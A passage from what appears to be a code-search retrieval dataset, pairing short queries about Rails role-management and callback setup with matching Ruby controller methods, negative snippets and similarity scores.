"def update\n @concept_map = ConceptMap.find(params[:id])\n if current_user.role.id == 7\n params[:concept_map][:status] = 6\n end\n respond_to do |format|\n if @concept_map.update_attributes(params[:concept_map])\n format.html { redirect_to@concept_map, notice: 'ConceptMap was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json:@concept_map.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @entity_role.update(entity_role_params)\n format.html { redirect_to @entity_role, notice: 'Entity role was successfully updated.' }\n format.json { render :show, status: :ok, location: @entity_role }\n else\n format.html { render :edit }\n format.json { render json: @entity_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :manage_users, :all\n @user = User.find(params[:id])\n if @user.has_role? :admin or @user.has_role? :teacher\n @user.validation_scenario = 'admin_or_teacher'\n end\n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @profile_role.update(profile_role_params)\n format.html { redirect_to @profile_role, notice: 'Profile role was successfully updated.' }\n format.json { render :show, status: :ok, location: @profile_role }\n else\n format.html { render :edit }\n format.json { render json: @profile_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n ActiveRecord::Base.transaction do\n @role, hash = fill_role(Role.find(params[:id]), params[:role])\n\n respond_to do |format|\n if @role.update_attributes(hash) && @role.save\n flash[:notice] = 'Role was successfully updated.'\n format.html { redirect_to(@role) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @role.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"def update(value, options = {})\n id = value[:ID] || value['ID']\n raise Diplomat::IdParameterRequired if id.nil?\n\n role_name = value[:Name] || value['Name']\n raise Diplomat::NameParameterRequired if role_name.nil?\n\n custom_params = use_cas(@options)\n @raw = send_put_request(@conn, [\"/v1/acl/role/#{id}\"], options, value, custom_params)\n if @raw.status == 200\n parse_body\n elsif @raw.status == 400\n raise Diplomat::RoleMalformed, @raw.body\n else\n raise Diplomat::UnknownStatus, \"status #{@raw.status}: #{@raw.body}\"\n end\n end"
] | [
"0.7071717",
"0.686072",
"0.68333566",
"0.6822314",
"0.68108964",
"0.677246",
"0.6718536",
"0.6697436",
"0.66946715",
"0.6692879",
"0.66622573",
"0.666203",
"0.66609925",
"0.6653987",
"0.6629426",
"0.6610442",
"0.6591068",
"0.6565691",
"0.654898",
"0.6538467",
"0.65236104",
"0.651261",
"0.65101117",
"0.65045655",
"0.65030193",
"0.6496594",
"0.64947927",
"0.64777064",
"0.64686114",
"0.6468098",
"0.6462029",
"0.6453182",
"0.6453182",
"0.6451965",
"0.644893",
"0.64410263",
"0.64244646",
"0.6423348",
"0.6406083",
"0.6404126",
"0.63943",
"0.63812697",
"0.63742083",
"0.63631445",
"0.63553786",
"0.63528246",
"0.63473433",
"0.634459",
"0.63444674",
"0.6337842",
"0.633382",
"0.63295484",
"0.6315354",
"0.6312077",
"0.63118356",
"0.63076735",
"0.6301509",
"0.62904227",
"0.6281329",
"0.6277716",
"0.6271455",
"0.6266235",
"0.6263907",
"0.6262526",
"0.62614477",
"0.62505144",
"0.6242442",
"0.62225604",
"0.62148255",
"0.6211336",
"0.6209229",
"0.61967885",
"0.61967885",
"0.6193877",
"0.6191463",
"0.6191334",
"0.61913174",
"0.61909485",
"0.6190531",
"0.61893016",
"0.6187744",
"0.6187493",
"0.6181447",
"0.617901",
"0.617659",
"0.6159751",
"0.61583734",
"0.61421686",
"0.6141432",
"0.61320335",
"0.6120142",
"0.6119258",
"0.6103466",
"0.60976857",
"0.6096899",
"0.60926104",
"0.60846406",
"0.60767",
"0.60709125",
"0.606711"
] | 0.7223109 | 0 |
DELETE /practitioner_roles/1 DELETE /practitioner_roles/1.json | def destroy
@practitioner_role.destroy
respond_to do |format|
format.html { redirect_to practitioner_roles_url, notice: 'Practitioner role was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @lab_role = LabRole.find(params[:id])\n @lab_role.destroy\n\n respond_to do |format|\n format.html { redirect_to lab_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role = Role.find(params[:id])\n @role.destroy\n \n respond_to do |format|\n format.html { redirect_to roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @team_role.destroy\n respond_to do |format|\n format.html { redirect_to lab_team_roles_path(@lab) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role = @client.roles.find(params[:id])\n @role.destroy\n\n respond_to do |format|\n flash[:notice] = 'Role was successfully removed.' \n format.html { redirect_to(client_roles_url(@client)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @rol.destroy\n respond_to do |format|\n format.html { redirect_to roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role = Role.find(params[:id])\n @role.destroy\n\n respond_to do |format|\n format.html { redirect_to roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to management_roles_url, notice: 'Perfil was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to company_roles_url(@company), notice: 'Role was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n chef_server_rest.delete(\"roles/#{@name}\")\n end",
"def destroy\n @app_role = AppRole.find(params[:id])\n @app_role.destroy\n\n respond_to do |format|\n format.html { redirect_to app_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ministerial_role.destroy\n respond_to do |format|\n format.html { redirect_to ministerial_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @required_role.destroy\n respond_to do |format|\n format.html { redirect_to required_roles_url, notice: 'Required role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:company_id])\n @role = Role.find(params[:id])\n @role.destroy\n \n respond_to do |format|\n format.html { redirect_to company_roles_path(@company) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @titan_role.destroy\n respond_to do |format|\n format.html { redirect_to titan_roles_url, notice: 'Titan role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lab_permissions_role = LabPermissionsRole.find(params[:id])\n @lab_permissions_role.destroy\n\n respond_to do |format|\n format.html { redirect_to lab_permissions_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_role = Role.find(params[:id])\n @admin_role.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @core_user_role.destroy\n respond_to do |format|\n format.html { redirect_to core_user_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role = Role.find(params[:id])\n @role.destroy\n\n respond_to do |format|\n format.html { redirect_to roles_url , :notice => t('hurricane.notice.delete_record_success', :type => t_type)}\n format.json { head :no_content }\n end\n end",
"def destroy\n\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n @role_permision = RolePermision.find(params[:id])\n @role_permision.destroy\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n \n \n\n respond_to do |format|\n format.html { redirect_to role_permisions_url }\n format.json { head :ok }\n end\n end",
"def DeleteRole id\n \n APICall(path: \"custom_roles/#{id}.json\",method: 'DELETE')\n \n end",
"def destroy\n role.destroy\n respond_to do |format|\n format.html { redirect_to admin_roles_url, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @roles_and_permission = @roles.roles_and_permission.find(params[:id])\n @roles_and_permission.destroy\n\n respond_to do |format|\n format.html { redirect_to roles_and_permissions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to system_roles_url, notice: '删除角色成功.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review_items_by_role.destroy\n respond_to do |format|\n format.html { redirect_to review_items_by_roles_url, notice: 'Review items by role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n if !grant_access(\"alter_roles\", current_user)\n head(403)\n end\n @role.destroy\n respond_to do |format|\n format.html { redirect_to roles_url, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to roles_url, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to roles_url, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to roles_url, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to roles_url, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to roles_url, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to roles_url, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mg_role.destroy\n respond_to do |format|\n format.html { redirect_to mg_roles_url, notice: 'Mg role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n rol = Role.where(:id=>current_user.role).first\n\n if rol.nombre == \"ACRM\"\n\n\n @achievment = Achievment.find(params[:id])\n @achievment.destroy\n\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n\n respond_to do |format|\n format.html { redirect_to achievments_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @roles_privilege.destroy\n respond_to do |format|\n format.html { redirect_to roles_privileges_url, notice: 'Roles privilege was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @opportunity_role = OpportunityRole.find(params[:id])\n @opportunity_role.destroy\n\n head :no_content\n end",
"def destroy\n @user = User.find params[:user_id]\n @role = Role.find params[:id]\n\n @user.roles.delete @role\n flash[:notice] = 'Assigment was successfully destroyed.'\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end",
"def destroy\n @movie_role.destroy\n respond_to do |format|\n format.html { redirect_to movie_roles_url, notice: 'Movie role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @program_role.destroy\n respond_to do |format|\n format.html { redirect_to program_roles_url, notice: 'Program role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_with @role, location: roles_path\n end",
"def destroy\n @role.destroy\n respond_with @role, location: roles_path\n end",
"def destroy\n @project_role = ProjectRole.find(params[:id])\n @project_role.destroy\n\n respond_to do |format|\n format.html { redirect_to project_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role_in_a_movie = RoleInAMovie.find(params[:id])\n @role_in_a_movie.destroy\n\n respond_to do |format|\n format.html { redirect_to role_in_a_movies_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @rolid = params[:id]\n Role.destroy(@rolid)\n end",
"def destroy\n @users_role.destroy\n respond_to do |format|\n format.html { redirect_to users_roles_url, notice: 'Users role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n\n redirect_to roles_path\n end",
"def destroy\n @team_user_role.destroy\n respond_to do |format|\n format.html { redirect_to team_user_roles_url, notice: 'Team user role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role = Role.find(params[:id])\n @role.destroy\n respond_with(@role)\n end",
"def destroy\n @master_role.destroy\n respond_to do |format|\n format.html { redirect_to master_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:user_id])\n @role = Role.find(params[:id])\n if @user.has_role?(@role.name)\n @user.roles.delete(@role)\n end\n respond_to do |format|\n format.html {redirect_to :action => 'index' }\n format.xml { head :ok }\n end\n \n end",
"def destroy\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n \n \n @status_de_interes_de_prospecto_validado = StatusDeInteresDeProspectoValidado.find(params[:id])\n @status_de_interes_de_prospecto_validado.destroy\n\n\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n \n respond_to do |format|\n format.html { redirect_to status_de_interes_de_prospecto_validados_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @tech_role.destroy\n respond_to do |format|\n format.html { redirect_to tech_roles_url, notice: 'Tech role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n \n \n @rpm = Rpm.find(params[:id])\n @rpm.destroy\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n\n respond_to do |format|\n format.html { redirect_to rpms_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @operations_role = OperationsRole.find(params[:id])\n @operations_role.destroy\n\n respond_to do |format|\n format.html { redirect_to(operations_roles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @org_role.destroy\n respond_to do |format|\n format.html { redirect_to org_roles_url, notice: 'Org role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @role.destroy\r\n respond_to do |format|\r\n format.html { redirect_to \"index\", notice: 'Role was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n flash[:notice] ='Por favor seleccione un programa para reemplazar el programa a borrar actual, esta accion no puede ser revertida.'\n respond_to do |format|\n format.html { redirect_to borrar_url }\n format.json { head :ok }\n end\n \n else\n flash[:error] ='No tienes permiso para realizar esta accion'\n respond_to do |format|\n format.html { redirect_to programas_url }\n format.json { head :ok }\n end\n end\n end",
"def destroy\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n\n @status_del_admitido = StatusDelAdmitido.find(params[:id])\n @status_del_admitido.destroy\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n \n \n\n respond_to do |format|\n format.html { redirect_to status_del_admitidos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @role = Role.find(params[:id])\n @role.destroy\n\n respond_to do |format|\n format.html { redirect_to(roles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @role = Role.find(params[:id])\n @role.destroy\n\n respond_to do |format|\n format.html { redirect_to(roles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n \n @ultimo_grado_de_estudio = UltimoGradoDeEstudio.find(params[:id])\n @ultimo_grado_de_estudio.destroy\n\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n\n\n respond_to do |format|\n format.html { redirect_to ultimo_grado_de_estudios_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to user_roles_path }\n format.js\n format.json { head :no_content }\n end\n end",
"def destroy\n @sulabh_user_role.destroy\n respond_to do |format|\n format.html { redirect_to sulabh_user_roles_url, notice: 'Sulabh user role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n \n \n\n @status_de_la_inscripcion = StatusDeLaInscripcion.find(params[:id])\n @status_de_la_inscripcion.destroy\n\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n \n\n respond_to do |format|\n format.html { redirect_to status_de_la_inscripcions_url }\n format.json { head :ok }\n end\n end",
"def destroy\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n \n \n @programa_de_intere = ProgramaDeIntere.find(params[:id])\n @programa_de_intere.destroy\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n \n \n \n\n respond_to do |format|\n format.html { redirect_to programa_de_interes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @venue_role.destroy\n respond_to do |format|\n format.html { redirect_to venue_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n if current_user.role_id == 1 || current_user.role_id == 2 || current_user.role_id == 4\n @test.destroy\n respond_to do |format|\n format.html { redirect_to patient_path(@test.patient), notice: 'Test was successfully deleted.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @role_funcion.destroy\n respond_to do |format|\n format.html { redirect_to role_funcions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role_auth_ref.destroy\n respond_to do |format|\n format.html { redirect_to role_auth_refs_url, notice: 'Role auth ref was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role = Role.find(params[:id])\n \n @users = User.find_by_role_id(@role.id)\n respond_to do |format|\n if @users == nil\n @role.destroy\n format.html { redirect_to roles_url, :notice => t(:role_deleted) }\n format.json { head :no_content }\n else\n format.html { redirect_to roles_url, :alert => t(:role_inuse) }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @profile_role.destroy\n respond_to do |format|\n format.html { redirect_to profile_roles_url, notice: 'Profile role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @worship_role.destroy\n respond_to do |format|\n format.html { redirect_to worship_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\nrol = Role.where(:id=>current_user.role).first\n\n if rol.nombre == \"ACRM\"\n\n\n @colegiatura = Colegiatura.find(params[:id])\n @colegiatura.destroy\n\n\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n \n respond_to do |format|\n format.html { redirect_to colegiaturas_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project_role.destroy\n respond_to do |format|\n format.html { redirect_to project_roles_url, notice: 'Project role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role = Role.find(params[:id])\n @role.destroy\n\n respond_to do |format|\n format.html { redirect_to(blog_roles_url(@blog)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n respond_to do |format|\n if @course_role.destroy\n format.html { redirect_to course_roles_url, :notice => \"Role deleted successfully\" }\n format.json { head :no_content }\n else\n format.html { redirect_to course_roles_url, :notice => @course_role.errors[:base].to_s() }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @role_privilege.destroy\n respond_to do |format|\n format.html { redirect_to role_privileges_url, notice: 'Veza je usšešno obrisana.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @userrole = Userrole.find(params[:id])\n @userrole.destroy\n\n respond_to do |format|\n format.html { redirect_to(userroles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n \n @status_de_la_notificacion = StatusDeLaNotificacion.find(params[:id])\n @status_de_la_notificacion.destroy\n\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n \n \n \n\n respond_to do |format|\n format.html { redirect_to status_de_la_notificacions_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @admin_role_ref.destroy\n respond_to do |format|\n format.html { redirect_to admin_role_refs_url, notice: 'Admin role ref was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game_play_role.destroy\n respond_to do |format|\n format.html { redirect_to game_play_roles_url, notice: 'Game play role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n user = @membership.user\n school = @membership.school\n user_roles = user.roles\n @membership.destroy\n user_roles.delete_all\n respond_to do |format|\n format.html { redirect_to school_memberships_path(@membership.school), notice: 'Scool registration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n\n @finalidad_cultivo = FinalidadCultivo.find(params[:id])\n @finalidad_cultivo.destroy\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n\n\n\n respond_to do |format|\n format.html { redirect_to finalidad_cultivos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user_role = UserRole.find(params[:id])\n @user_role.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_user_roles_url) }\n end\n end",
"def destroy\n @cms_role.destroy\n respond_to do |format|\n format.html { redirect_to cms_roles_url, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n \t@application_case = @case_req.application_case\n @case_req.destroy\n respond_to do |format|\n format.html { redirect_to @application_case, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n \n\n \n @periodo_para_ingresar = PeriodoParaIngresar.find(params[:id])\n @periodo_para_ingresar.destroy\n\n\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n \n respond_to do |format|\n format.html { redirect_to periodo_para_ingresars_url }\n format.json { head :ok }\n end\n end",
"def destroy\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n \n @preparatoria_o_universidad_de_origen = PreparatoriaOUniversidadDeOrigen.find(params[:id])\n @preparatoria_o_universidad_de_origen.destroy\n\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n \n \n \n\n respond_to do |format|\n format.html { redirect_to preparatoria_o_universidad_de_origens_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user_role = UserRole.find(params[:id])\n @user_role.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_roles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n\n\n \n @territorio = Territorio.find(params[:id])\n @territorio.destroy\n\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n\n\n\n respond_to do |format|\n format.html { redirect_to territorios_url }\n format.json { head :ok }\n end\n end",
"def destroy\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n\n \n @status_del_tramite_de_beca = StatusDelTramiteDeBeca.find(params[:id])\n @status_del_tramite_de_beca.destroy\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n\n\n\n respond_to do |format|\n format.html { redirect_to status_del_tramite_de_becas_url }\n format.json { head :ok }\n end\n end",
"def destroy\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n\n @status_ref_pago_insc = StatusRefPagoInsc.find(params[:id])\n @status_ref_pago_insc.destroy\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n\n \n \n\n respond_to do |format|\n format.html { redirect_to status_ref_pago_inscs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @security_agent_role.destroy\n respond_to do |format|\n format.html { redirect_to security_agent_roles_url, notice: 'Security agent role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n # PUNDIT_REVIEW_AUTHORIZE\n # PUNDIT_CHECK_AUTHORIZE (did not find instance)\n # authorize @learner\n @portal_learner = Portal::Learner.find(params[:id])\n @portal_learner.destroy\n\n respond_to do |format|\n format.html { redirect_to(portal_learners_url) }\n format.xml { head :ok }\n end\n end",
"def delete(id = @id, user = @@default_user)\n @attributes = send_request(\"roles/#{id}\", :delete) do |req|\n req.body = {\n auth_token: user.auth_token\n }\n end\n end",
"def destroy\n\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n \n\n @plan_de_ventum = PlanDeVentum.find(params[:id])\n @plan_de_ventum.destroy\n\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n \n \n \n\n respond_to do |format|\n format.html { redirect_to plan_de_venta_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @roles_assignment.destroy\n respond_to do |format|\n format.html { redirect_to roles_assignments_url, notice: 'Roles assignment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n return unless check_permission\n\n @role.destroy\n respond_to do |format|\n format.html { redirect_to roles_url, notice: 'Role was successfully destroyed.' }\n end\n end",
"def destroy\n @practitioner_type = PractitionerType.find(params[:id])\n @practitioner_type.destroy\n\n respond_to do |format|\n format.html { redirect_to practitioner_types_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.7363247",
"0.7234942",
"0.72219765",
"0.71962875",
"0.7191758",
"0.7175023",
"0.7149711",
"0.71210355",
"0.71153915",
"0.71071374",
"0.7080056",
"0.70769376",
"0.7055473",
"0.7050793",
"0.70415354",
"0.7039209",
"0.7012131",
"0.70101774",
"0.7009771",
"0.69979894",
"0.6991923",
"0.697802",
"0.6964852",
"0.6962931",
"0.6950504",
"0.69498944",
"0.69379026",
"0.6935016",
"0.6935016",
"0.6935016",
"0.6935016",
"0.6935016",
"0.6935016",
"0.6893766",
"0.688174",
"0.6879077",
"0.68705267",
"0.68700504",
"0.68568474",
"0.6855041",
"0.6851675",
"0.6851675",
"0.6849323",
"0.68491256",
"0.6848721",
"0.683613",
"0.683494",
"0.6824685",
"0.6820475",
"0.68109053",
"0.6809539",
"0.6803472",
"0.67992944",
"0.6792244",
"0.67919934",
"0.6788768",
"0.67785966",
"0.6774352",
"0.6771779",
"0.6768595",
"0.6768595",
"0.67670435",
"0.67644423",
"0.67567325",
"0.6752415",
"0.67500037",
"0.6746742",
"0.6745546",
"0.6743662",
"0.673891",
"0.6720957",
"0.6712286",
"0.6695109",
"0.669194",
"0.6671099",
"0.6664457",
"0.66627187",
"0.66613114",
"0.6651734",
"0.6649079",
"0.6646118",
"0.66459465",
"0.6636677",
"0.6634818",
"0.66332895",
"0.66321284",
"0.66290337",
"0.66247416",
"0.660888",
"0.66057193",
"0.6605583",
"0.6601627",
"0.66003233",
"0.6599864",
"0.6596348",
"0.6595317",
"0.6592821",
"0.659221",
"0.6582133",
"0.6582016"
] | 0.7533551 | 0 |
Use callbacks to share common setup or constraints between actions. | def set_practitioner_role
@practitioner_role = PractitionerRole.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
